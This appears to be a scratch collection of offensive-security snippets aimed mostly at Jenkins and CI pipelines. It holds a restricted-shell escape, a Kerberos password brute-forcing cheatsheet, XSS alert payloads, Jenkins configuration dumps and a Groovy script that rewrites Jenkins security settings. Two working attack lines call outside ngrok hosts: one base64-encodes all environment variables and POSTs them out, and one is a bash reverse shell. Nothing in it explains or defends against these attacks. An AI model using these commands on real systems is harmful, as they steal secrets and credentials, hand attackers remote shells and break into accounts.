dibsy

echo "${{ vars.NOT_KNOWN }}"

dibsy

{
  "_class" : "hudson.model.Hudson",
  "assignedLabels" : [
    {
      "name" : "built-in"
    }
  ],
  "mode" : "NORMAL",
  "nodeDescription" : "the Jenkins controller's built-in node",
  "nodeName" : "",

dibsy

Change rbash to bash

psj@ubuntu:~$ ssh psj@server_name-t "bash --noprofile"

List available commands:

$ compgen -c 

Essentially you need to do the following:

dibsy

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

dibsy

alert(document.domain);

dibsy

env|base64 >/tmp/f
export aa=`tr -d '\n'< /tmp/f`
curl -s -X POST https://6aee-91-166-172-59.ngrok-free.app --data $aa

dibsy

<?xml version='1.1' encoding='UTF-8'?>
<hudson>
  <disabledAdministrativeMonitors/>
  <version>2.387.2</version>
  <numExecutors>1</numExecutors>
  <mode>NORMAL</mode>
  <useSecurity>true</useSecurity>
  <authorizationStrategy class="hudson.security.GlobalMatrixAuthorizationStrategy">
    <permission>USER:hudson.model.Hudson.Administer:superadmin</permission>
    <permission>USER:hudson.model.Hudson.Administer:builduser</permission>

dibsy

bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/14352 0>&1

dibsy

import jenkins.model.*
def instance = Jenkins.getInstance()

import hudson.security.*
def realm = new HudsonPrivateSecurityRealm(false)
instance.setSecurityRealm(realm)

def strategy = new hudson.security.FullControlOnceLoggedInAuthorizationStrategy()
strategy.setAllowAnonymousRead(false)
instance.setAuthorizationStrategy(strategy)

dibsy

alert(1)